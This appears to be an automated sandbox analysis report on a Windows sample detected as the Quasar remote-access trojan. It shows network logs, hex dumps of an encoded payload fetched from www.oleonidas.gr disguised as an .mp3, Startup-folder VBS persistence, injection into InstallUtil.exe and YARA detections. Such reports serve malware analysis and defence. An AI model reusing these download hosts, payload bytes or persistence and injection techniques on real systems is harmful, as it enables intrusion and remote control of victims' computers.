                                                                          2024-11-18 18:24:01 UTC8000INData Raw: d3 48 42 30 36 35 4f 11 31 31 3c 19 f0 36 31 3b 0f 2f 31 36 31 43 75 34 31 46 19 96 36 31 3b 44 62 34 36 41 19 89 31 31 3c 19 9a 34 31 37 b6 42 30 36 35 4f 45 30 31 32 1b 31 36 31 2a 06 34 31 66 31 31 36 62 31 36 20 33 2f 26 26 45 11 31 36 3b 3a 20 3d 36 59 6a 31 36 3b 58 3b 38 bc 2b 31 31 37 3b 09 23 31 31 36 36 37 3e 38 5e 08 31 31 3c 22 35 3e 20 35 6e 3d 38 27 35 68 3b 38 27 0b d5 ce c9 ce ec 3b 31 31 36 36 08 30 31 31 36 36 5e 71 31 31 3c ed 37 1c 30 21 36 31 33 36 3b 31 01 70 31 3b 31 31 36 31 2b 45 09 31 36 3b 1b 36 03 33 42 2d 31 36 30 5e f4 31 31 3c 1b 31 36 31 22 06 37 31 53 31 31 36 65 31 36 20 19 83 33 31 30 3b 19 af 33 31 30 3a 36 29 11 bc 2b 31 31 37 14 e1 14 33 31 32 19 52 36 31 3b 59 f2 31 36 3b 36 29 21 bc 2b 31 31 37 14 e1 13 33 31 32 19
                                                                          Data Ascii: HB065O11<61;/161Cu41F61;Db46A11<417B065OE012161*41f116b16 3/&&E16;: =6Yj16;X;8+117;#11667>8^11<"5> 5n=8'5h;8';116601166^q11<70!6136;1p1;1161+E16;63B-160^11<161"71S116e16 310;310:6)+117312R61;Y16;6)!+117312
                                                                          2024-11-18 18:24:01 UTC8000INData Raw: cf 3d 20 31 11 37 31 31 36 11 a9 36 31 31 16 03 31 36 31 68 aa 11 dc 36 31 31 0e 87 df c9 ce 11 6a 31 31 36 11 5e 36 31 31 6e cf 3f 33 31 11 7b 30 31 36 09 ac d8 ce ce 16 04 31 36 31 11 13 31 31 36 68 cf 38 34 31 16 d3 31 36 31 09 b2 df ce c9 11 53 36 31 31 16 2c 31 36 31 69 c8 3f 34 36 11 02 36 31 31 1e f8 32 36 37 0b 50 df ce c9 17 11 a1 30 31 36 09 6a d8 ce ce c8 3d 27 36 11 3d 36 31 31 16 f7 31 36 31 11 74 31 31 36 68 ad 16 57 31 36 31 09 0a df ce c9 cf 3d 20 31 11 32 31 31 36 11 01 36 31 31 16 7e 31 36 31 69 aa 11 1e 36 31 31 1e f9 32 36 37 08 2e df ce c9 17 11 76 31 31 36 09 3c d8 ce ce c8 3d 18 36 11 3b 36 31 31 c8 3d 34 36 ad 11 9c 31 31 36 09 c4 db ce ce 27 36 20 38 6c 22 14 11 4f 36 31 31 1e f9 32 36 37 0b e9 dc ce c9 17 11 6a 31 31 36 09 e5 db
                                                                          Data Ascii: = 17116611161h611j116^611n?31{016161116h841161S611,161i?46611267P016j='6=611161t116hW161= 12116611~161i611267.v116<=6;611=46116'6 8l"O611267j116


                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                          1192.168.2.449733195.201.57.904433492C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                          TimestampBytes transferredDirectionData
                                                                          2024-11-18 18:24:09 UTC150OUTGET / HTTP/1.1
                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
                                                                          Host: ipwho.is
                                                                          Connection: Keep-Alive
                                                                          2024-11-18 18:24:09 UTC223INHTTP/1.1 200 OK
                                                                          Date: Mon, 18 Nov 2024 18:24:09 GMT
                                                                          Content-Type: application/json; charset=utf-8
                                                                          Transfer-Encoding: chunked
                                                                          Connection: close
                                                                          Server: ipwhois
                                                                          Access-Control-Allow-Headers: *
                                                                          X-Robots-Tag: noindex
                                                                          2024-11-18 18:24:09 UTC1033INData Raw: 33 66 64 0d 0a 7b 0a 20 20 20 20 22 41 62 6f 75 74 20 55 73 22 3a 20 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 70 77 68 6f 69 73 2e 69 6f 22 2c 0a 20 20 20 20 22 69 70 22 3a 20 22 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 74 79 70 65 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 20 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 20 22 4e 41 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 54 65 78 61
                                                                          Data Ascii: 3fd{ "About Us": "https:\/\/ipwhois.io", "ip": "155.94.241.187", "success": true, "type": "IPv4", "continent": "North America", "continent_code": "NA", "country": "United States", "country_code": "US", "region": "Texa


                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                          2192.168.2.449734185.78.221.734436120C:\Users\user\AppData\Roaming\StackTrace.exe
                                                                          TimestampBytes transferredDirectionData
                                                                          2024-11-18 18:24:14 UTC82OUTGET /mansa/Dhmwdw.mp3 HTTP/1.1
                                                                          Host: www.oleonidas.gr
                                                                          Connection: Keep-Alive
                                                                          2024-11-18 18:24:14 UTC300INHTTP/1.1 200 OK
                                                                          Date: Mon, 18 Nov 2024 18:24:14 GMT
                                                                          Server: Apache
                                                                          Last-Modified: Mon, 18 Nov 2024 15:55:37 GMT
                                                                          Accept-Ranges: bytes
                                                                          Content-Length: 2121728
                                                                          Cache-Control: max-age=1209600
                                                                          Expires: Mon, 02 Dec 2024 18:24:14 GMT
                                                                          Vary: User-Agent
                                                                          Connection: close
                                                                          Content-Type: audio/mpeg
                                                                          2024-11-18 18:24:14 UTC7892INData Raw: 7c 6b a6 31 32 36 31 31 32 31 31 36 ce ce 36 31 89 36 31 31 36 31 31 36 71 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 31 31 36 b1 31 36 31 3f 29 8b 3f 36 85 38 fb 10 89 37 7d fc 17 65 59 5f 42 11 46 43 5e 51 43 50 5b 11 52 57 5f 5f 59 45 11 54 54 11 44 44 5f 16 58 5f 16 75 7e 65 11 5c 59 55 54 18 3c 3c 3c 15 31 36 31 31 36 31 31 66 74 31 36 7d 30 35 31 27 25 7e a8 36 31 31 36 31 31 36 31 d1 36 3f 10 3d 30 01 36 31 69 16 31 31 30 31 31 36 31 31 36 5f 47 16 31 31 16 31 31 36 b1 11 36 31 31 76 31 31 16 31 31 36 33 31 36 35 31 36 31 31 36 31 31 32 31 31 36 31 31 36 31 31 f6 11 31 36 33 31 36 31 31 36 31 32 36 71 b4 36 31 21 36 31 21 36 31 31 36 21 31 36 21 31 36 31 31 36 31 3e 36 31 31 36 31 31 36 31 31 36
                                                                          Data Ascii: |k126112116616116116q16116116116116116116116116116116116161?)?687}eY_BFC^QCP[RW__YETTDD_X_u~e\YUT<<<1611611ft16}051'%~611611616?=061i110116116_G11116611v111163165161161121161161116316116126q61!61!6116!16!161161>6116116116
                                                                          2024-11-18 18:24:14 UTC8000INData Raw: 35 31 31 36 1e 31 36 31 34 36 31 31 18 31 31 36 09 1b 36 31 31 48 aa 33 36 35 19 55 36 31 30 11 31 36 31 31 48 73 33 36 35 4a b0 33 31 32 0b fd c9 ce ce 10 11 31 36 31 31 0e f0 ce c9 ce 1b 48 ad 33 36 35 19 51 36 31 30 11 33 36 31 31 48 73 33 36 35 4a b5 33 31 32 0b 93 c9 ce ce 10 11 31 36 31 31 0e a6 ce c9 ce 23 36 31 26 1c 31 31 36 23 31 36 25 1b 36 31 31 24 31 31 21 1b 31 36 31 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 24 31 31 22 1b 31 36 31 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 24 31 31 21 1b 31 36 31 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 14 31 25 93 76 31 36 33 1b 36 31 31 25 01 32 36 35 31 36 31 31 36 31 31 36 31 31 1c 23 31 36 25 1b 36 31 31 25 01 32 36 35 31 36 31 31 36 31 31 36 31 31 1c 23 31 36 25 1b 36 31 31 25 01 32
                                                                          Data Ascii: 51161614611116611H365U6101611Hs365J3121611H365Q6103611Hs365J3121611#61&116#16%611$11!161"2121161161161$11"161"2121161161161$11!161"21211611611611%v163611%2651611611611#16%611%2651611611611#16%611%2
                                                                          2024-11-18 18:24:14 UTC8000INData Raw: fb 37 31 31 0f 31 31 36 26 31 36 30 22 06 32 31 32 31 31 36 31 31 36 31 31 36 31 1b 25 01 32 36 b1 31 36 31 30 36 31 20 1e 98 33 36 37 11 34 31 31 36 cf 3f 36 31 09 36 31 31 36 cf 3d 36 31 74 35 31 31 36 66 31 36 31 1f 36 31 31 33 31 31 36 09 63 36 31 31 48 aa 33 36 35 19 55 36 31 30 11 30 36 31 31 48 73 33 36 35 4a 56 33 31 32 08 fd c9 ce ce 10 11 31 36 31 31 0e f0 ce c9 ce 4f aa 33 31 32 19 56 31 31 37 16 31 31 36 31 4f 74 33 31 32 4a 04 34 31 35 0c 92 ce c9 ce 17 16 31 31 36 31 09 ae ce ce c9 1b 13 36 25 94 12 31 31 37 1b 31 36 31 23 36 31 26 1c 31 31 36 23 31 36 25 1b 36 31 31 35 01 39 36 35 31 36 31 31 36 31 31 36 31 31 1c 70 2d 36 31 31 36 31 31 6f 30 31 36 55 30 36 31 8c 34 31 31 0e 31 31 36 26 31 36 30 22 06 32 31 b6 31 31 36 30 31 36 20 19 9f 33
                                                                          Data Ascii: 711116&160"2121161161161%26161061 3674116?616116=61t5116f1616113116c611H365U6100611Hs365JV3121611O312V1171161Ot312J41511616%117161#61&116#16%61159651611611611p-611611o016U061411116&160"21116016 3
                                                                          2024-11-18 18:24:14 UTC8000INData Raw: 31 31 c9 6e 2e 2e 55 e3 aa 20 39 21 69 22 3e 20 39 31 0e fe ca ce ce 3e b1 6f 37 31 35 1c 31 31 2d 01 32 36 5b 31 36 31 78 36 31 20 22 3b 19 a0 33 31 30 08 3a 36 31 31 45 58 31 36 3b 3b 0e 60 31 36 31 31 45 5b 31 36 3b 3b eb 74 31 36 31 17 44 0a 31 36 41 43 ec 31 31 46 19 5a 36 31 3b 59 5d 31 36 3b 45 46 31 31 37 3b ec 16 31 31 36 17 43 70 30 31 46 43 eb 36 31 41 1e 5a 31 36 3b 5e 5a 31 31 3c 45 41 36 31 30 3c ec 31 36 31 31 eb 31 31 36 31 37 1c 31 31 37 2d 31 36 31 31 12 31 2e 75 31 11 21 31 31 37 31 31 2e 31 3a 15 31 74 21 31 31 37 2a 01 34 31 1f 36 31 31 36 31 31 36 42 0a 36 31 3b 10 ec 3d 36 31 31 10 26 b1 4e 30 31 32 ec 27 36 31 31 36 19 5c 36 31 3b b6 49 30 36 35 ec 30 31 31 36 17 ec 36 31 31 36 1b 31 36 30 2d 36 31 31 36 31 31 3d 3a 31 3a 26 31 36
                                                                          Data Ascii: 11n..U 9!i"> 91>o71511-26[161x61 ";310:611EX16;;`1611E[16;;t161D16AC11FZ61;Y]16;EF117;116Cp01FC61AZ16;^Z11<EA610<161111617117-16111.u1!11711.1:1t!117*416116116B61;=611&N012'6116\61;I06501166116160-611611=:1:&16
                                                                          2024-11-18 18:24:14 UTC8000INData Raw: 36 31 69 aa 11 a5 36 31 31 16 00 31 36 31 68 c8 3f 2d 36 cf 3d 11 31 11 3c 31 31 36 cf 3d 2a 31 ad c8 3d 16 36 11 3b 36 31 31 16 7b 31 36 31 11 2b 31 31 36 69 ad c8 3d 16 36 11 3b 36 31 31 16 5d 31 36 31 11 62 31 31 36 68 ad 16 52 31 36 31 11 10 31 31 36 69 cf 38 22 31 c8 3d 16 36 11 3a 36 31 31 c8 3d 22 36 ad cf 3a 16 31 16 3a 31 36 31 11 0e 31 31 36 11 5f 36 31 31 6e ad 11 04 31 31 36 11 3d 36 31 31 6e cf 3f 2a 31 cf 3a 16 31 16 3a 31 36 31 cf 3a 2d 31 aa 11 a5 36 31 31 16 2c 31 36 31 68 c8 3f 22 36 cf 3d 11 31 11 3d 31 31 36 cf 3d 25 31 ad c8 3d 16 36 11 3d 36 31 31 16 8e 31 36 31 11 09 31 31 36 68 ad 16 cd 31 36 31 11 62 31 31 36 68 cf 38 22 31 c8 3d 16 36 11 3d 36 31 31 c8 3d 22 36 ad 11 10 31 31 36 11 1a 36 31 31 6e cf 3f 2a 31 cf 3a 16 31 16 3d 31
                                                                          Data Ascii: 61i611161h?-6=1<116=*1=6;611{161+116i=6;611]161b116hR161116i8"1=6:611="6:1:161116_611n116=611n?*1:1:161:-1611,161h?"6=1=116=%1=6=611161116h161b116h8"1=6=611="6116611n?*1:1=1
                                                                          2024-11-18 18:24:14 UTC8000INData Raw: 63 c7 ce ce c8 3d 03 36 11 30 36 31 31 16 04 31 36 31 11 55 31 31 36 69 ad 16 01 31 36 31 19 6b 32 31 30 0b 1f c7 ce ce 10 11 0c 36 31 31 0e 12 c0 c9 ce 11 fd 31 31 36 11 72 36 31 31 6f cf 3f 3d 31 11 28 30 31 36 19 6c 35 31 37 0c 34 c0 c9 ce 17 16 71 33 36 31 09 cc c1 ce c9 20 3b 20 0f df c8 ce ce 16 89 31 36 31 19 6b 32 31 30 0b d2 c6 ce ce 10 11 25 34 31 31 0e e9 c1 c9 ce cf 3a 68 31 16 3f 31 36 31 cf 3a 34 31 aa 11 a5 36 31 31 0e f1 c1 c9 ce cf 3a 03 31 16 3e 31 36 31 11 75 31 31 36 11 50 36 31 31 6e ad 11 ea 30 31 36 09 90 c6 ce ce 16 67 31 36 31 11 03 31 31 36 69 cf 38 6d 31 16 35 31 36 31 09 be c1 ce c9 cf 3d 04 31 11 30 31 31 36 11 a9 36 31 31 16 68 31 36 31 69 aa 11 15 36 31 31 1e 6c 32 36 37 0b 52 c1 ce c9 17 11 86 31 31 36 09 68 c6 ce ce 16 7b
                                                                          Data Ascii: c=60611161U116i161k210611116r611o?=1(016l5174q361 ; 161k210%411:h1?161:41611:1>161u116P611n016g161116i8m15161=10116611h161i611l267R116h{
                                                                          2024-11-18 18:24:15 UTC8000INData Raw: 31 19 6b 32 31 30 0b 3a e4 ce ce 10 11 24 37 31 31 0e 31 e3 c9 ce 19 24 32 31 30 2b 0a 30 d8 ce c9 11 41 34 31 31 c8 3f 59 36 09 d2 e7 ce ce 16 67 31 36 31 11 2d 31 31 36 69 cf 38 6d 31 16 3e 30 36 31 09 f8 e0 ce c9 20 62 20 20 62 b8 58 19 1a 32 31 30 11 36 34 31 31 1e 6c 32 36 37 08 85 e0 ce c9 17 11 49 30 31 36 09 99 e7 ce ce c8 3d 68 36 11 3a 36 31 31 16 a3 31 36 31 11 06 31 31 36 68 ad 16 50 33 36 31 09 bf e0 ce c9 cf 3d 04 31 11 34 31 31 36 cf 3d 6a 31 ad 16 ad 30 36 31 19 6a 32 31 30 0b 5d e7 ce ce 10 11 75 37 31 31 0e 50 e0 c9 ce 11 62 31 31 36 11 42 36 31 31 6e cf 3f 18 31 11 c1 31 31 36 19 6d 35 31 37 0c 72 e0 c9 ce 17 16 29 31 36 31 09 0e e0 ce c9 cf 3d 6f 31 11 3e 31 31 36 11 f2 36 31 31 16 70 31 36 31 68 aa 11 91 37 31 31 0e 28 e0 c9 ce 11 ef
                                                                          Data Ascii: 1k210:$7111$210+0A411?Y6g161-116i8m1>061 b bX2106411l267I016=h6:611161116hP361=14116=j1061j210]u711Pb116B611n?1116m517r)161=o1>116611p161h711(
                                                                          2024-11-18 18:24:15 UTC8000INData Raw: e1 31 31 36 11 76 36 31 31 6f cf 3f 33 31 11 15 31 31 36 09 8f 84 ce ce c8 3d 03 36 11 23 36 31 31 c8 3d 3a 36 ad 11 3c 30 31 36 09 97 84 ce ce c8 3d 68 36 11 31 36 31 31 c8 3d 1f 36 ad 11 2c 31 31 36 19 6c 35 31 37 0c b8 83 c9 ce 17 16 1d 31 36 31 09 48 83 ce c9 cf 3d 04 31 11 30 31 31 36 cf 3d 6a 31 ad 16 fc 30 36 31 09 50 83 ce c9 20 1e 20 19 32 35 31 37 10 11 22 37 31 31 0e 62 83 c9 ce cf 3a 68 31 16 31 31 36 31 cf 3a 1f 31 aa 11 62 36 31 31 0e 0a 83 c9 ce cf 3a 03 31 16 21 31 36 31 11 2c 31 31 36 11 40 36 31 31 6e ad 11 ce 30 31 36 19 6c 35 31 37 0f 26 83 c9 ce 17 16 0a 31 36 31 09 3a 83 ce c9 11 5f 36 31 31 16 23 31 36 31 69 c8 3f 3a 36 11 b4 34 31 31 c8 3f 59 36 09 da 87 ce ce 16 e3 31 36 31 11 70 31 31 36 68 cf 38 6d 31 16 a8 30 36 31 cf 38 59 31
                                                                          Data Ascii: 116v611o?31116=6#611=:6<016=h61611=6,116l517161H=10116=j1061P 2517"711b:h11161:1b611:1!161,116@611n016l517&161:_611#161i?:6411?Y6161p116h8m10618Y1
                                                                          2024-11-18 18:24:15 UTC8000INData Raw: d3 48 42 30 36 35 4f 11 31 31 3c 19 f0 36 31 3b 0f 2f 31 36 31 43 75 34 31 46 19 96 36 31 3b 44 62 34 36 41 19 89 31 31 3c 19 9a 34 31 37 b6 42 30 36 35 4f 45 30 31 32 1b 31 36 31 2a 06 34 31 66 31 31 36 62 31 36 20 33 2f 26 26 45 11 31 36 3b 3a 20 3d 36 59 6a 31 36 3b 58 3b 38 bc 2b 31 31 37 3b 09 23 31 31 36 36 37 3e 38 5e 08 31 31 3c 22 35 3e 20 35 6e 3d 38 27 35 68 3b 38 27 0b d5 ce c9 ce ec 3b 31 31 36 36 08 30 31 31 36 36 5e 71 31 31 3c ed 37 1c 30 21 36 31 33 36 3b 31 01 70 31 3b 31 31 36 31 2b 45 09 31 36 3b 1b 36 03 33 42 2d 31 36 30 5e f4 31 31 3c 1b 31 36 31 22 06 37 31 53 31 31 36 65 31 36 20 19 83 33 31 30 3b 19 af 33 31 30 3a 36 29 11 bc 2b 31 31 37 14 e1 14 33 31 32 19 52 36 31 3b 59 f2 31 36 3b 36 29 21 bc 2b 31 31 37 14 e1 13 33 31 32 19
                                                                          Data Ascii: HB065O11<61;/161Cu41F61;Db46A11<417B065OE012161*41f116b16 3/&&E16;: =6Yj16;X;8+117;#11667>8^11<"5> 5n=8'5h;8';116601166^q11<70!6136;1p1;1161+E16;63B-160^11<161"71S116e16 310;310:6)+117312R61;Y16;6)!+117312
                                                                          2024-11-18 18:24:15 UTC8000INData Raw: cf 3d 20 31 11 37 31 31 36 11 a9 36 31 31 16 03 31 36 31 68 aa 11 dc 36 31 31 0e 87 df c9 ce 11 6a 31 31 36 11 5e 36 31 31 6e cf 3f 33 31 11 7b 30 31 36 09 ac d8 ce ce 16 04 31 36 31 11 13 31 31 36 68 cf 38 34 31 16 d3 31 36 31 09 b2 df ce c9 11 53 36 31 31 16 2c 31 36 31 69 c8 3f 34 36 11 02 36 31 31 1e f8 32 36 37 0b 50 df ce c9 17 11 a1 30 31 36 09 6a d8 ce ce c8 3d 27 36 11 3d 36 31 31 16 f7 31 36 31 11 74 31 31 36 68 ad 16 57 31 36 31 09 0a df ce c9 cf 3d 20 31 11 32 31 31 36 11 01 36 31 31 16 7e 31 36 31 69 aa 11 1e 36 31 31 1e f9 32 36 37 08 2e df ce c9 17 11 76 31 31 36 09 3c d8 ce ce c8 3d 18 36 11 3b 36 31 31 c8 3d 34 36 ad 11 9c 31 31 36 09 c4 db ce ce 27 36 20 38 6c 22 14 11 4f 36 31 31 1e f9 32 36 37 0b e9 dc ce c9 17 11 6a 31 31 36 09 e5 db
                                                                          Data Ascii: = 17116611161h611j116^611n?31{016161116h841161S611,161i?46611267P016j='6=611161t116hW161= 12116611~161i611267.v116<=6;611=46116'6 8l"O611267j116


                                                                          Statistics

                                                                          CPU Usage

                                                                          Click to jump to process

                                                                          Memory Usage

                                                                          Click to jump to process

                                                                          High Level Behavior Distribution

                                                                          Click to dive into process behavior distribution

                                                                          Behavior

                                                                          Click to jump to process

                                                                          System Behavior

                                                                          General

                                                                          Target ID:0
                                                                          Start time:13:23:57
                                                                          Start date:18/11/2024
                                                                          Path:C:\Users\user\Desktop\________.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Users\user\Desktop\________.exe"
                                                                          Imagebase:0x250000
                                                                          File size:1'485'312 bytes
                                                                          MD5 hash:C28EF8671A7F140F9385AB177E38844B
                                                                          Has elevated privileges:true
                                                                          Has administrator privileges:true
                                                                          Programmed in:C, C++ or other language
                                                                          Yara matches:
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1715918413.0000000002A85000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1743012477.0000000006980000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1729686962.0000000003B43000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1729686962.0000000003681000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          Reputation:low
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:1
                                                                          Start time:13:24:01
                                                                          Start date:18/11/2024
                                                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                                                          Imagebase:0xb80000
                                                                          File size:42'064 bytes
                                                                          MD5 hash:5D4073B2EB6D217C19F2B22F21BF8D57
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Yara matches:
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000001.00000002.2925605951.00000000030DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          Reputation:moderate
                                                                          Has exited:false

                                                                          General

                                                                          Target ID:2
                                                                          Start time:13:24:11
                                                                          Start date:18/11/2024
                                                                          Path:C:\Windows\System32\wscript.exe
                                                                          Wow64 process (32bit):false
                                                                          Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StackTrace.vbs"
                                                                          Imagebase:0x7ff7e2180000
                                                                          File size:170'496 bytes
                                                                          MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Reputation:high
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:3
                                                                          Start time:13:24:11
                                                                          Start date:18/11/2024
                                                                          Path:C:\Users\user\AppData\Roaming\StackTrace.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Users\user\AppData\Roaming\StackTrace.exe"
                                                                          Imagebase:0x80000
                                                                          File size:1'485'312 bytes
                                                                          MD5 hash:C28EF8671A7F140F9385AB177E38844B
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Yara matches:
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.1905206220.00000000028C2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.1918626723.0000000003818000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.1949794905.0000000007162000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                          Antivirus matches:
                                                                          • Detection: 100%, Joe Sandbox ML
                                                                          • Detection: 21%, ReversingLabs
                                                                          Reputation:low
                                                                          Has exited:true

                                                                          General

                                                                          Target ID:5
                                                                          Start time:13:24:20
                                                                          Start date:18/11/2024
                                                                          Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                          Wow64 process (32bit):true
                                                                          Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                                                          Imagebase:0xf70000
                                                                          File size:42'064 bytes
                                                                          MD5 hash:5D4073B2EB6D217C19F2B22F21BF8D57
                                                                          Has elevated privileges:false
                                                                          Has administrator privileges:false
                                                                          Programmed in:C, C++ or other language
                                                                          Yara matches:
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000005.00000002.1913477262.0000000000720000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                          • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000005.00000002.1913477262.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                          Reputation:moderate
                                                                          Has exited:true

                                                                          Disassembly

                                                                          Reset < >

                                                                            Execution Graph

                                                                            Execution Coverage:9.1%
                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                            Signature Coverage:4.5%
                                                                            Total number of Nodes:199
                                                                            Total number of Limit Nodes:8
                                                                            execution_graph 35983 46c1218 35984 46c122d 35983->35984 35985 46c1243 35984->35985 35988 46c3103 35984->35988 35994 46c2230 35984->35994 35989 46c310d 35988->35989 35990 46c2239 35988->35990 35999 46c61c8 35990->35999 36004 46c61d8 35990->36004 35995 46c2254 35994->35995 35997 46c61c8 2 API calls 35995->35997 35998 46c61d8 2 API calls 35995->35998 35996 46c22b2 35997->35996 35998->35996 36000 46c61d8 35999->36000 36009 468cfa8 36000->36009 36013 468cf9d 36000->36013 36005 46c61ed 36004->36005 36007 468cfa8 CopyFileA 36005->36007 36008 468cf9d CopyFileA 36005->36008 36006 46c22b2 36007->36006 36008->36006 36010 468cffd CopyFileA 36009->36010 36012 468d0ff 36010->36012 36014 468cfa8 CopyFileA 36013->36014 36016 468d0ff 36014->36016 36017 4681810 36018 4681825 36017->36018 36022 46819f1 36018->36022 36027 46818e3 36018->36027 36019 468183b 36024 46819f7 36022->36024 36023 4681b5c 36023->36019 36024->36023 36025 468bd08 VirtualProtect 36024->36025 36026 468bd00 VirtualProtect 36024->36026 36025->36024 36026->36024 36028 4681902 36027->36028 36029 4681b5c 36028->36029 36030 468bd00 VirtualProtect 36028->36030 36031 468bd08 VirtualProtect 36028->36031 36029->36019 36030->36028 36031->36028 36032 468aa90 36033 468aade NtProtectVirtualMemory 36032->36033 36035 468ab28 36033->36035 35770 46c6b60 35771 46c6b75 35770->35771 35772 46c6b8b 35771->35772 35775 46c6e47 35771->35775 35780 46c6e01 35771->35780 35776 46c6e4d 35775->35776 35785 46c80a8 35776->35785 35789 46c8098 35776->35789 35781 46c6bfd 35780->35781 35782 46c6e09 35780->35782 35781->35772 35782->35781 35783 46c80a8 10 API calls 35782->35783 35784 46c8098 10 API calls 35782->35784 35783->35781 35784->35781 35786 46c80bd 35785->35786 35793 46c8179 35786->35793 35790 46c80a8 35789->35790 35792 46c8179 10 API calls 35790->35792 35791 46c6bfd 35791->35772 35792->35791 35794 46c8191 35793->35794 35798 46c888c 35794->35798 35814 46c8890 35794->35814 35795 46c8163 35799 46c8890 35798->35799 35830 46c9579 35799->35830 35835 46c8a98 35799->35835 35839 46c8e5f 35799->35839 35844 46c98de 35799->35844 35849 46c9904 35799->35849 35854 46c94ee 35799->35854 35859 46c8d8c 35799->35859 35864 46c982c 35799->35864 35869 46c9191 35799->35869 35874 46c8d17 35799->35874 35879 46c9755 35799->35879 35884 46c8ef9 35799->35884 35889 46c8c99 35799->35889 35815 46c88a5 35814->35815 35817 46c982c 2 API calls 35815->35817 35818 46c8d8c 2 API calls 35815->35818 35819 46c94ee 2 API calls 35815->35819 35820 46c9904 2 API calls 35815->35820 35821 46c98de 2 API calls 35815->35821 35822 46c8e5f 2 API calls 35815->35822 35823 46c8a98 2 API calls 35815->35823 35824 46c9579 2 API calls 35815->35824 35825 46c8c99 2 API calls 35815->35825 35826 46c8ef9 2 API calls 35815->35826 35827 46c9755 2 API calls 35815->35827 35828 46c8d17 2 API calls 35815->35828 35829 46c9191 2 API calls 35815->35829 35816 46c88c7 35816->35795 35817->35816 35818->35816 35819->35816 35820->35816 35821->35816 35822->35816 